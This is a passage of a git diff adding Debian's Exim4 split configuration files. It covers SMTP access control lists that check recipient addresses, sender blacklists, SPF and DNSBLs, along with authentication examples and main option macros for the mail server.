a/debian/debconf/conf.d/acl/30_exim4-config_check_mail b/debian/debconf/conf.d/acl/30_exim4-config_check_mail new file mode 100644 index 0000000..f8c53d6 --- /dev/null +++ b/debian/debconf/conf.d/acl/30_exim4-config_check_mail @@ -0,0 +1,11 @@ + +### acl/30_exim4-config_check_mail +################################# + +# This access control list is used for every MAIL command in an incoming +# SMTP message. The tests are run in order until the address is either +# accepted or denied. +# +acl_check_mail: + + accept diff --git a/debian/debconf/conf.d/acl/30_exim4-config_check_rcpt b/debian/debconf/conf.d/acl/30_exim4-config_check_rcpt new file mode 100644 index 0000000..b8bde1e --- /dev/null +++ b/debian/debconf/conf.d/acl/30_exim4-config_check_rcpt @@ -0,0 +1,375 @@ + +### acl/30_exim4-config_check_rcpt +################################# + +# define macros to be used below in this file to check recipient +# local parts for strange characters. Documentation below. +# This blocks local parts that begin with a dot or contain a quite +# broad range of non-alphanumeric characters. + +.ifndef CHECK_RCPT_LOCAL_LOCALPARTS +CHECK_RCPT_LOCAL_LOCALPARTS = ^[.] : ^.*[@%!/|`#&?] +.endif + +.ifndef CHECK_RCPT_REMOTE_LOCALPARTS +CHECK_RCPT_REMOTE_LOCALPARTS = ^[./|] : ^.*[@%!`#&?] : ^.*/\\.\\./ +.endif + +# This access control list is used for every RCPT command in an incoming +# SMTP message. The tests are run in order until the address is either +# accepted or denied. +# +acl_check_rcpt: + + # Accept if the source is local SMTP (i.e. not over TCP/IP). We do this by + # testing for an empty sending host field. + accept + hosts = : + control = dkim_disable_verify + + # Do not try to verify DKIM signatures of incoming mail if DC_minimaldns + # or DISABLE_DKIM_VERIFY are set. +.ifdef DC_minimaldns + warn + control = dkim_disable_verify +.else +.ifdef DISABLE_DKIM_VERIFY + warn + control = dkim_disable_verify +.endif +.endif + + # The following section of the ACL is concerned with local parts that contain + # certain non-alphanumeric characters. Dots in unusual places are + # handled by this ACL as well. + # + # Non-alphanumeric characters other than dots are rarely found in genuine + # local parts, but are often tried by people looking to circumvent + # relaying restrictions. Therefore, although they are valid in local + # parts, these rules disallow certain non-alphanumeric characters, as + # a precaution. + # + # Empty components (two dots in a row) are not valid in RFC 2822, but Exim + # allows them because they have been encountered. (Consider local parts + # constructed as "firstinitial.secondinitial.familyname" when applied to + # a name without a second initial.) However, a local part starting + # with a dot or containing /../ can cause trouble if it is used as part of a + # file name (e.g. for a mailing list). This is also true for local parts that + # contain slashes. A pipe symbol can also be troublesome if the local part is + # incorporated unthinkingly into a shell command line. + # + # These ACL components will block recipient addresses that are valid + # from an RFC5322 point of view. We chose to have them blocked by + # default for security reasons. + # + # If you feel that your site should have less strict recipient + # checking, please feel free to change the default values of the macros + # defined in main/01_exim4-config_listmacrosdefs or override them from a + # local configuration file. + # + # Two different rules are used. The first one has a quite strict + # default, and is applied to messages that are addressed to one of the + # local domains handled by this host. + + # The default value of CHECK_RCPT_LOCAL_LOCALPARTS is defined + # at the top of this file. + .ifdef CHECK_RCPT_LOCAL_LOCALPARTS + deny + domains = +local_domains + local_parts = CHECK_RCPT_LOCAL_LOCALPARTS + message = restricted characters in address + .endif + + + # The second rule applies to all other domains, and its default is + # considerably less strict. + + # The default value of CHECK_RCPT_REMOTE_LOCALPARTS is defined in + # main/01_exim4-config_listmacrosdefs: + # CHECK_RCPT_REMOTE_LOCALPARTS = ^[./|] : ^.*[@%!`#&?] : ^.*/\\.\\./ + + # It allows local users to send outgoing messages to sites + # that use slashes and vertical bars in their local parts. It blocks + # local parts that begin with a dot, slash, or vertical bar, but allows + # these characters within the local part. However, the sequence /../ is + # barred. The use of some other non-alphanumeric characters is blocked. + # Single quotes might probably be dangerous as well, but they're + # allowed by the default regexps to avoid rejecting mails to Ireland. + # The motivation here is to prevent local users (or local users' malware) + # from mounting certain kinds of attack on remote sites. + .ifdef CHECK_RCPT_REMOTE_LOCALPARTS + deny + domains = !+local_domains + local_parts = CHECK_RCPT_REMOTE_LOCALPARTS + message = restricted characters in address + .endif + + + # Accept mail to postmaster in any local domain, regardless of the source, + # and without verifying the sender. + # + accept + .ifndef CHECK_RCPT_POSTMASTER + local_parts = postmaster + .else + local_parts = CHECK_RCPT_POSTMASTER + .endif + domains = +local_domains : +relay_to_domains + + + # Deny unless the sender address can be verified. + # + # This is disabled by default so that DNSless systems don't break. If + # your system can do DNS lookups without delay or cost, you might want + # to enable this feature. + # + # This feature does not work in smarthost and satellite setups as + # with these setups all domains pass verification. See spec.txt section + # "Access control lists" subsection "Address verification" with the added + # information that a smarthost/satellite setup routes all non-local e-mail + # to the smarthost. + .ifdef CHECK_RCPT_VERIFY_SENDER + deny + message = Sender verification failed + !acl = acl_local_deny_exceptions + !verify = sender + .endif + + # Verify senders listed in local_sender_callout with a callout. + # + # In smarthost and satellite setups, this causes the callout to be + # done to the smarthost. Verification will thus only be reliable if the + # smarthost does reject illegal addresses in the SMTP dialog. + deny + !acl = acl_local_deny_exceptions + senders = ${if exists{CONFDIR/local_sender_callout}\ + {CONFDIR/local_sender_callout}\ + {}} + !verify = sender/callout + + + # Accept if the message comes from one of the hosts for which we are an + # outgoing relay. It is assumed that such hosts are most likely to be MUAs, + # so we set control=submission to make Exim treat the message as a + # submission. It will fix up various errors in the message, for example, the + # lack of a Date: header line. If you are actually relaying out out from + # MTAs, you may want to disable this. If you are handling both relaying from + # MTAs and submissions from MUAs you should probably split them into two + # lists, and handle them differently. + + # Recipient verification is omitted here, because in many cases the clients + # are dumb MUAs that don't cope well with SMTP error responses. If you are + # actually relaying out from MTAs, you should probably add recipient + # verification here. + + # Note that, by putting this test before any DNS black list checks, you will + # always accept from these hosts, even if they end up on a black list. The + # assumption is that they are your friends, and if they get onto black + # list, it is a mistake. + accept + hosts = +relay_from_hosts + control = submission/sender_retain + control = dkim_disable_verify + + + # Accept if the message arrived over an authenticated connection, from + # any host. Again, these messages are usually from MUAs, so recipient + # verification is omitted, and submission mode is set. And again, we do this + # check before any black list tests. + accept + authenticated = * + control = submission/sender_retain + control = dkim_disable_verify + + # Insist that a HELO/EHLO was accepted. + + require message = nice hosts say HELO first + condition = ${if def:sender_helo_name} + + # Insist that any other recipient address that we accept is either in one of + # our local domains, or is in a domain for which we explicitly allow + # relaying. Any other domain is rejected as being unacceptable for relaying. + require + message = relay not permitted + domains = +local_domains : +relay_to_domains + + + # We also require all accepted addresses to be verifiable. This check will + # do local part verification for local domains, but only check the domain + # for remote domains. + require + verify = recipient + + + # Verify recipients listed in local_rcpt_callout with a callout. + # This is especially handy for forwarding MX hosts (secondary MX or + # mail hubs) of domains that receive a lot of spam to non-existent + # addresses. The only way to check local parts for remote relay + # domains is to use a callout (add /callout), but please read the + # documentation about callouts before doing this. + deny + !acl = acl_local_deny_exceptions + recipients = ${if exists{CONFDIR/local_rcpt_callout}\ + {CONFDIR/local_rcpt_callout}\ + {}} + !verify = recipient/callout + + + # CONFDIR/local_sender_blacklist holds a list of envelope senders that + # should have their access denied to the local host. Incoming messages + # with one of these senders are rejected at RCPT time. + # + # The explicit white lists are honored as well as negative items in + # the black list. See exim4-config_files(5) for details. + deny + message = sender envelope address $sender_address is locally blacklisted here. If you think this is wrong, get in touch with postmaster + log_message = sender envelope address is locally blacklisted. + !acl = acl_local_deny_exceptions + senders = ${if exists{CONFDIR/local_sender_blacklist}\ + {CONFDIR/local_sender_blacklist}\ + {}} + + + # deny bad sites (IP address) + # CONFDIR/local_host_blacklist holds a list of host names, IP addresses + # and networks (CIDR notation) that should have their access denied to + # The local host. Messages coming in from a listed host will have all + # RCPT statements rejected. + # + # The explicit white lists are honored as well as negative items in + # the black list. See exim4-config_files(5) for details. + deny + message = sender IP address $sender_host_address is locally blacklisted here. If you think this is wrong, get in touch with postmaster + log_message = sender IP address is locally blacklisted. + !acl = acl_local_deny_exceptions + hosts = ${if exists{CONFDIR/local_host_blacklist}\ + {CONFDIR/local_host_blacklist}\ + {}} + + + # Warn if the sender host does not have valid reverse DNS. + # + # If your system can do DNS lookups without delay or cost, you might want + # to enable this. + # If sender_host_address is defined, it's a remote call. If + # sender_host_name is not defined, then reverse lookup failed. Use + # this instead of !verify = reverse_host_lookup to catch deferrals + # as well as outright failures. + .ifdef CHECK_RCPT_REVERSE_DNS + warn + condition = ${if and{{def:sender_host_address}{!def:sender_host_name}}\ + {yes}{no}} + add_header = X-Host-Lookup-Failed: Reverse DNS lookup failed for $sender_host_address (${if eq{$host_lookup_failed}{1}{failed}{deferred}}) + .endif + + + # Use spfquery to perform a pair of SPF checks (for details, see + # http://www.openspf.org/) + # + # This is quite costly in terms of DNS lookups (~6 lookups per mail). Do not + # enable if that's an issue. Also note that if you enable this, you must + # install "spf-tools-perl" which provides the spfquery command. + # Missing spf-tools-perl will trigger the "Unexpected error in + # SPF check" warning. + .ifdef CHECK_RCPT_SPF + deny + message = [SPF] $sender_host_address is not allowed to send mail from \ + ${if def:sender_address_domain {$sender_address_domain}{$sender_helo_name}}. \ + Please see \ + http://www.openspf.org/Why?scope=${if def:sender_address_domain \ + {mfrom}{helo}};identity=${if def:sender_address_domain \ + {$sender_address}{$sender_helo_name}};ip=$sender_host_address + log_message = SPF check failed. + !acl = acl_local_deny_exceptions + condition = ${run{/usr/bin/spfquery.mail-spf-perl --ip \ + ${quote:$sender_host_address} --identity \ + ${if def:sender_address_domain \ + {--scope mfrom --identity ${quote:$sender_address}}\ + {--scope helo --identity ${quote:$sender_helo_name}}}}\ + {no}{${if eq {$runrc}{1}{yes}{no}}}} + + defer + message = Temporary DNS error while checking SPF record. Try again later. + !acl = acl_local_deny_exceptions + condition = ${if eq {$runrc}{5}{yes}{no}} + + warn + condition = ${if <={$runrc}{6}{yes}{no}} + add_header = Received-SPF: ${if eq {$runrc}{0}{pass}\ + {${if eq {$runrc}{2}{softfail}\ + {${if eq {$runrc}{3}{neutral}\ + {${if eq {$runrc}{4}{permerror}\ + {${if eq {$runrc}{6}{none}{error}}}}}}}}}\ + } client-ip=$sender_host_address; \ + ${if def:sender_address_domain \ + {envelope-from=${sender_address}; }{}}\ + helo=$sender_helo_name + + warn + log_message = Unexpected error in SPF check. + condition = ${if >{$runrc}{6}{yes}{no}} + .endif + + + # Check against classic DNS "black" lists (DNSBLs) which list + # sender IP addresses + .ifdef CHECK_RCPT_IP_DNSBLS + warn + dnslists = CHECK_RCPT_IP_DNSBLS + add_header = X-Warning: $sender_host_address is listed at $dnslist_domain ($dnslist_value: $dnslist_text) + log_message = $sender_host_address is listed at $dnslist_domain ($dnslist_value: $dnslist_text) + .endif + + + # Check against DNSBLs which list sender domains, with an option to locally + # whitelist certain domains that might be blacklisted. + # + # Note: If you define CHECK_RCPT_DOMAIN_DNSBLS, you must append + # "/$sender_address_domain" after each domain. For example: + # CHECK_RCPT_DOMAIN_DNSBLS = rhsbl.foo.org/$sender_address_domain \ + # : rhsbl.bar.org/$sender_address_domain + .ifdef CHECK_RCPT_DOMAIN_DNSBLS + warn + !senders = ${if exists{CONFDIR/local_domain_dnsbl_whitelist}\ + {CONFDIR/local_domain_dnsbl_whitelist}\ + {}} + dnslists = CHECK_RCPT_DOMAIN_DNSBLS + add_header = X-Warning: $sender_address_domain is listed at $dnslist_domain ($dnslist_value: $dnslist_text) + log_message = $sender_address_domain is listed at $dnslist_domain ($dnslist_value: $dnslist_text) + .endif + + + # This hook allows you to hook in your own ACLs without having to + # modify this file. If you do it like we suggest, you'll end up with + # a small performance penalty since there is an additional file being + # accessed. This doesn't happen if you leave the macro unset. + .ifdef CHECK_RCPT_LOCAL_ACL_FILE + .include CHECK_RCPT_LOCAL_ACL_FILE + .endif + + + ############################################################################# + # This check is commented out because it is recognized that not every + # sysadmin will want to do it. If you enable it, the check performs + # Client SMTP Authorization (csa) checks on the sending host. These checks + # do DNS lookups for SRV records. The CSA proposal is currently (May 2005) + # an Internet draft. You can, of course, add additional conditions to this + # ACL statement to restrict the CSA checks to certain hosts only. + # + # require verify = csa + ############################################################################# + + + # Accept if the address is in a domain for which we are an incoming relay, + # but again, only if the recipient can be verified. + + accept + domains = +relay_to_domains + endpass + verify = recipient + + + # At this point, the address has passed all the checks that have been + # configured, so we accept it unconditionally. + + accept diff --git a/debian/debconf/conf.d/acl/40_exim4-config_check_data b/debian/debconf/conf.d/acl/40_exim4-config_check_data new file mode 100644 index 0000000..5b5c099 --- /dev/null +++ b/debian/debconf/conf.d/acl/40_exim4-config_check_data @@ -0,0 +1,95 @@ + +### acl/40_exim4-config_check_data +################################# + +# This ACL is used after the contents of a message have been received. This +# is the ACL in which you can test a message's headers or body, and in +# particular, this is where you can invoke external virus or spam scanners. + +acl_check_data: + + # Deny if the message contains an overlong line. Per the standards + # we should never receive one such via SMTP. + # + .ifndef IGNORE_SMTP_LINE_LENGTH_LIMIT + deny message = maximum allowed line length is 998 octets, \ + got $max_received_linelength + condition = ${if > {$max_received_linelength}{998}} + .endif + + # Deny if the headers contain badly-formed addresses. + # + .ifndef NO_CHECK_DATA_VERIFY_HEADER_SYNTAX + deny + !acl = acl_local_deny_exceptions + !verify = header_syntax + message = header syntax + log_message = header syntax ($acl_verify_message) + .endif + + + # require that there is a verifiable sender address in at least + # one of the "Sender:", "Reply-To:", or "From:" header lines. + .ifdef CHECK_DATA_VERIFY_HEADER_SENDER + deny + message = No verifiable sender address in message headers + !acl = acl_local_deny_exceptions + !verify = header_sender + .endif + + + # Deny if the message contains malware. Before enabling this check, you + # must install a virus scanner and set the av_scanner option in the + # main configuration. + # + # exim4-daemon-heavy must be used for this section to work. + # + # deny + # malware = * + # message = This message was detected as possible malware ($malware_name). + + + # Add headers to a message if it is judged to be spam. Before enabling this, + # you must install SpamAssassin. You may also need to set the spamd_address + # option in the main configuration. + # + # exim4-daemon-heavy must be used for this section to work. + # + # Please note that this is only suiteable as an example. See + # /usr/share/doc/exim4-base/README.Debian.gz + # + # See the exim docs and the exim wiki for more suitable examples. + # + # # Remove internal headers + # warn + # remove_header = X-Spam_score: X-Spam_score_int : X-Spam_bar : \ + # X-Spam_report + # + # warn + # condition = ${if <{$message_size}{120k}{1}{0}} + # # ":true" to add headers/acl variables even if not spam + # spam = nobody:true + # add_header = X-Spam_score: $spam_score + # add_header = X-Spam_bar: $spam_bar + # # Do not enable this unless you have shorted SpamAssassin's report + # #add_header = X-Spam_report: $spam_report + # + # Reject spam messages (score >15.0). + # This breaks mailing list and forward messages. + # deny + # message = Classified as spam (score $spam_score) + # condition = ${if <{$message_size}{120k}{1}{0}} + # condition = ${if >{$spam_score_int}{150}{true}{false}} + + + # This hook allows you to hook in your own ACLs without having to + # modify this file. If you do it like we suggest, you'll end up with + # a small performance penalty since there is an additional file being + # accessed. This doesn't happen if you leave the macro unset. + .ifdef CHECK_DATA_LOCAL_ACL_FILE + .include CHECK_DATA_LOCAL_ACL_FILE + .endif + + + # accept otherwise + accept diff --git a/debian/debconf/conf.d/auth/00_exim4-config_header b/debian/debconf/conf.d/auth/00_exim4-config_header new file mode 100644 index 0000000..c5f8fc1 --- /dev/null +++ b/debian/debconf/conf.d/auth/00_exim4-config_header @@ -0,0 +1,8 @@ + +###################################################################### +# AUTHENTICATION CONFIGURATION # +###################################################################### + +begin authenticators + + diff --git a/debian/debconf/conf.d/auth/30_exim4-config_examples b/debian/debconf/conf.d/auth/30_exim4-config_examples new file mode 100644 index 0000000..b3b1ce6 --- /dev/null +++ b/debian/debconf/conf.d/auth/30_exim4-config_examples @@ -0,0 +1,254 @@ + +### auth/30_exim4-config_examples +################################# + +# The examples below are for server side authentication, when the +# local exim is SMTP server and clients authenticate to the local exim. + +# They allow two styles of plain-text authentication against an +# CONFDIR/passwd file whose syntax is described in exim4_passwd(5). + +# Hosts that are allowed to use AUTH are defined by the +# auth_advertise_hosts option in the main configuration. The default is +# "*", which allows authentication to all hosts over all kinds of +# connections if there is at least one authenticator defined here. +# Authenticators which rely on unencrypted clear text passwords don't +# advertise on unencrypted connections by default. Thus, it might be +# wise to set up TLS to allow encrypted connections. If TLS cannot be +# used for some reason, you can set AUTH_SERVER_ALLOW_NOTLS_PASSWORDS to +# advertise unencrypted clear text password based authenticators on all +# connections. As this is severely reducing security, using TLS is +# preferred over allowing clear text password based authenticators on +# unencrypted connections. + +# PLAIN authentication has no server prompts. The client sends its +# credentials in one lump, containing an authorization ID (which we do not +# use), an authentication ID, and a password. The latter two appear as +# $auth2 and $auth3 in the configuration and should be checked against a +# valid username and password. In a real configuration you would typically +# use $auth2 as a lookup key, and compare $auth3 against the result of the +# lookup, perhaps using the crypteq{}{} condition. + +# plain_server: +# driver = plaintext +# public_name = PLAIN +# server_condition = "${if crypteq{$auth3}{${extract{1}{:}{${lookup{$auth2}lsearch{CONFDIR/passwd}{$value}{*:*}}}}}{1}{0}}" +# server_set_id = $auth2 +# server_prompts = : +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif + +# LOGIN authentication has traditional prompts and responses. There is no +# authorization ID in this mechanism, so unlike PLAIN the username and +# password are $auth1 and $auth2. Apart from that you can use the same +# server_condition setting for both authenticators. + +# login_server: +# driver = plaintext +# public_name = LOGIN +# server_prompts = "Username:: : Password::" +# server_condition = "${if crypteq{$auth2}{${extract{1}{:}{${lookup{$auth1}lsearch{CONFDIR/passwd}{$value}{*:*}}}}}{1}{0}}" +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif +# +# cram_md5_server: +# driver = cram_md5 +# public_name = CRAM-MD5 +# server_secret = ${extract{2}{:}{${lookup{$auth1}lsearch{CONFDIR/passwd}{$value}fail}}} +# server_set_id = $auth1 + +# Here is an example of CRAM-MD5 authentication against PostgreSQL: +# +# psqldb_auth_server: +# driver = cram_md5 +# public_name = CRAM-MD5 +# server_secret = ${lookup pgsql{SELECT pw FROM users WHERE username = '${quote_pgsql:$auth1}'}{$value}fail} +# server_set_id = $auth1 + +# Authenticate against local passwords using sasl2-bin +# Requires exim_uid to be a member of sasl group, see README.Debian.gz +# plain_saslauthd_server: +# driver = plaintext +# public_name = PLAIN +# server_condition = ${if saslauthd{{$auth2}{$auth3}}{1}{0}} +# server_set_id = $auth2 +# server_prompts = : +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif +# +# login_saslauthd_server: +# driver = plaintext +# public_name = LOGIN +# server_prompts = "Username:: : Password::" +# # don't send system passwords over unencrypted connections +# server_condition = ${if saslauthd{{$auth1}{$auth2}}{1}{0}} +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif +# +# ntlm_sasl_server: +# driver = cyrus_sasl +# public_name = NTLM +# server_realm = <short main hostname> +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif +# +# digest_md5_sasl_server: +# driver = cyrus_sasl +# public_name = DIGEST-MD5 +# server_realm = <short main hostname> +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif + +# Authentcate against cyrus-sasl +# This is mainly untested, please report any problems to +# pkg-exim4-users@lists.alioth.debian.org. +# cram_md5_sasl_server: +# driver = cyrus_sasl +# public_name = CRAM-MD5 +# server_realm = <short main hostname> +# server_set_id = $auth1 +# +# plain_sasl_server: +# driver = cyrus_sasl +# public_name = PLAIN +# server_realm = <short main hostname> +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif +# +# login_sasl_server: +# driver = cyrus_sasl +# public_name = LOGIN +# server_realm = <short main hostname> +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif + +# Authenticate against courier authdaemon + +# This is now the (working!) example from +# http://www.exim.org/eximwiki/FAQ/Policy_controls/Q0730 +# Possible pitfall: access rights on /var/run/courier/authdaemon/socket. +# plain_courier_authdaemon: +# driver = plaintext +# public_name = PLAIN +# server_condition = \ +# ${extract {ADDRESS} \ +# {${readsocket{/var/run/courier/authdaemon/socket} \ +# {AUTH ${strlen:exim\nlogin\n$auth2\n$auth3\n}\nexim\nlogin\n$auth2\n$auth3\n} }} \ +# {yes} \ +# fail} +# server_set_id = $auth2 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif + +# login_courier_authdaemon: +# driver = plaintext +# public_name = LOGIN +# server_prompts = Username:: : Password:: +# server_condition = \ +# ${extract {ADDRESS} \ +# {${readsocket{/var/run/courier/authdaemon/socket} \ +# {AUTH ${strlen:exim\nlogin\n$auth1\n$auth2\n}\nexim\nlogin\n$auth1\n$auth2\n} }} \ +# {yes} \ +# fail} +# server_set_id = $auth1 +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif + +# This one is a bad hack to support the broken version 4.xx of +# Microsoft Outlook Express which violates the RFCs by demanding +# "250-AUTH=" instead of "250-AUTH ". +# If your list of offered authenticators is other than PLAIN and LOGIN, +# you need to adapt the public_name line manually. +# It has to be the last authenticator to work and has not been tested +# well. Use at your own risk. +# See the thread entry point from +# http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050214/msg00213.html +# for the related discussion on the exim-users mailing list. +# Thanks to Fred Viles for this great work. + +# support_broken_outlook_express_4_server: +# driver = plaintext +# public_name = "\r\n250-AUTH=PLAIN LOGIN" +# server_prompts = User Name : Password +# server_condition = no +# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS +# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} +# .endif + +############## +# See /usr/share/doc/exim4-base/README.Debian.gz +############## + +# These examples below are the equivalent for client side authentication. +# They get the passwords from CONFDIR/passwd.client, whose format is +# defined in exim4_passwd_client(5) + +# Because AUTH PLAIN and AUTH LOGIN send the password in clear, we +# only allow these mechanisms over encrypted connections by default. +# You can set AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS to allow unencrypted +# clear text password authentication on all connections. + +cram_md5: + driver = cram_md5 + public_name = CRAM-MD5 + client_name = ${extract{1}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}} + client_secret = ${extract{2}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}} + +# this returns the matching line from passwd.client and doubles all ^ +PASSWDLINE=${sg{\ + ${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}\ + }\ + {\\N[\\^]\\N}\ + {^^}\ + } + +plain: + driver = plaintext + public_name = PLAIN +.ifndef AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS + client_send = "<; ${if !eq{$tls_out_cipher}{}\ + {^${extract{1}{:}{PASSWDLINE}}\ + ^${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}\ + }fail}" +.else + client_send = "<; ^${extract{1}{:}{PASSWDLINE}}\ + ^${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}" +.endif + +login: + driver = plaintext + public_name = LOGIN +.ifndef AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS + # Return empty string if not non-TLS AND looking up $host in passwd-file + # yields a non-empty string; fail otherwise. + client_send = "<; ${if and{\ + {!eq{$tls_out_cipher}{}}\ + {!eq{PASSWDLINE}{}}\ + }\ + {}fail}\ + ; ${extract{1}{::}{PASSWDLINE}}\ + ; ${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}" +.else + # Return empty string if looking up $host in passwd-file yields a + # non-empty string; fail otherwise. + client_send = "<; ${if !eq{PASSWDLINE}{}\ + {}fail}\ + ; ${extract{1}{::}{PASSWDLINE}}\ + ; ${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}" +.endif diff --git a/debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs b/debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs new file mode 100644 index 0000000..baa48fa --- /dev/null +++ b/debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs @@ -0,0 +1,81 @@ +###################################################################### +# Runtime configuration file for Exim 4 (Debian Packaging) # +###################################################################### + +###################################################################### +# /etc/exim4/exim4.conf.template is only used with the non-split +# configuration scheme. +# /etc/exim4/conf.d/main/01_exim4-config_listmacrosdefs is only used +# with the split configuration scheme. +# If you find this comment anywhere else, somebody copied it there. +# Documentation about the Debian exim4 configuration scheme can be +# found in /usr/share/doc/exim4-base/README.Debian.gz. +###################################################################### + +###################################################################### +# MAIN CONFIGURATION SETTINGS # +###################################################################### + +# Just for reference and scripts. +# On Debian systems, the main binary is installed as exim4 to avoid +# conflicts with the exim 3 packages. +exim_path = /usr/sbin/exim4 + +# Macro defining the main configuration directory. +# We do not use absolute paths. +.ifndef CONFDIR +CONFDIR = /etc/exim4 +.endif + +# debconf-driven macro definitions get inserted after this line +UPEX4CmacrosUPEX4C = 1 + +# Create domain and host lists for relay control +# '@' refers to 'the name of the local host' + +# List of domains considered local for exim. Domains not listed here +# need to be deliverable remotely. +domainlist local_domains = MAIN_LOCAL_DOMAINS + +# List of recipient domains to relay _to_. Use this list if you're - +# for example - fallback MX or mail gateway for domains. +domainlist relay_to_domains = MAIN_RELAY_TO_DOMAINS + +# List of sender networks (IP addresses) to _unconditionally_ relay +# _for_. If you intend to be SMTP AUTH server, you do not need to enter +# anything here. +hostlist relay_from_hosts = MAIN_RELAY_NETS + + +# Decide which domain to use to add to all unqualified addresses. +# If MAIN_PRIMARY_HOSTNAME_AS_QUALIFY_DOMAIN is defined, the primary +# hostname is used. If not, but MAIN_QUALIFY_DOMAIN is set, the value +# of MAIN_QUALIFY_DOMAIN is used. If both macros are not defined, +# the first line of /etc/mailname is used. +.ifndef MAIN_PRIMARY_HOSTNAME_AS_QUALIFY_DOMAIN +.ifndef MAIN_QUALIFY_DOMAIN +qualify_domain = ETC_MAILNAME +.else +qualify_domain = MAIN_QUALIFY_DOMAIN +.endif +.endif + +# listen on all all interfaces? +.ifdef MAIN_LOCAL_INTERFACES +local_interfaces = MAIN_LOCAL_INTERFACES +.endif + +.ifndef LOCAL_DELIVERY +# The default transport, set in /etc/exim4/update-exim4.conf.conf, +# defaulting to mail_spool. See CONFDIR/conf.d/transport/ for possibilities +LOCAL_DELIVERY=mail_spool +.endif + +# The gecos field in /etc/passwd holds not only the name. see passwd(5). +gecos_pattern = ^([^,:]*) +gecos_name = $1 + +# always log tls_peerdn as we use TLS for outgoing connects by default +.ifndef MAIN_LOG_SELECTOR +MAIN_LOG_SELECTOR = +smtp_protocol_error +smtp_syntax_error +tls_certificate_verified +tls_peerdn +.endif diff --git a/debian/debconf/conf.d/main/02_exim4-config_options b/debian/debconf/conf.d/main/02_exim4-config_options new file mode 100644 index 0000000..abff1d8 --- /dev/null +++ b/debian/debconf/conf.d/main/02_exim4-config_options @@ -0,0 +1,222 @@ + +### main/02_exim4-config_options +################################# + + +# Defines the access control list that is run when an +# SMTP MAIL command is received. +# +.ifndef MAIN_ACL_CHECK_MAIL +MAIN_ACL_CHECK_MAIL = acl_check_mail +.endif +acl_smtp_mail = MAIN_ACL_CHECK_MAIL + + +# Defines the access control list that is run when an +# SMTP RCPT command is received. +# +.ifndef MAIN_ACL_CHECK_RCPT +MAIN_ACL_CHECK_RCPT = acl_check_rcpt +.endif +acl_smtp_rcpt = MAIN_ACL_CHECK_RCPT + + +# Defines the access control list that is run when an +# SMTP DATA command is received. +# +.ifndef MAIN_ACL_CHECK_DATA +MAIN_ACL_CHECK_DATA = acl_check_data +.endif +acl_smtp_data = MAIN_ACL_CHECK_DATA + + +# Message size limit. The default (used when MESSAGE_SIZE_LIMIT +# is unset) is 50 MB +.ifdef MESSAGE_SIZE_LIMIT +message_size_limit = MESSAGE_SIZE_LIMIT +.endif + + +# If you are running exim4-daemon-heavy or a custom version of Exim that +# was compiled with the content-scanning extension, you can cause incoming +# messages to be automatically scanned for viruses. You have to modify the +# configuration in two places to set this up. The first of them is here, +# where you define the interface to your scanner. This example is typical +# for ClamAV; see the manual for details of what to set for other virus +# scanners. The second modification is in the acl_check_data access +# control list. + +# av_scanner = clamd:/var/run/clamav/clamd.ctl + + +# For spam scanning, there is a similar option that defines the interface to +# SpamAssassin. You do not need to set this if you are using the default, which +# is shown in this commented example. As for virus scanning, you must also +# modify the acl_check_data access control list to enable spam scanning. + +# spamd_address = 127.0.0.1 783 + +# Domain used to qualify unqualified recipient addresses +# If this option is not set, the qualify_domain value is used. +# qualify_recipient = <value of qualify_domain> + + +# Allow Exim to recognize addresses of the form "user@[10.11.12.13]", +# where the domain part is a "domain literal" (an IP address) instead +# of a named domain. The RFCs require this facility, but it is disabled +# in the default config since it is rarely used and frequently abused. +# Domain literal support also needs a special router, which is automatically +# enabled if you use the enable macro MAIN_ALLOW_DOMAIN_LITERALS. +# Additionally, you might want to make your local IP addresses (or @[]) +# local domains. +.ifdef MAIN_ALLOW_DOMAIN_LITERALS +allow_domain_literals +.endif + + +# Do a reverse DNS lookup on all incoming IP calls, in order to get the +# true host name. If you feel this is too expensive, the networks for +# which a lookup is done can be listed here. +.ifndef DC_minimaldns +.ifndef MAIN_HOST_LOOKUP +MAIN_HOST_LOOKUP = * 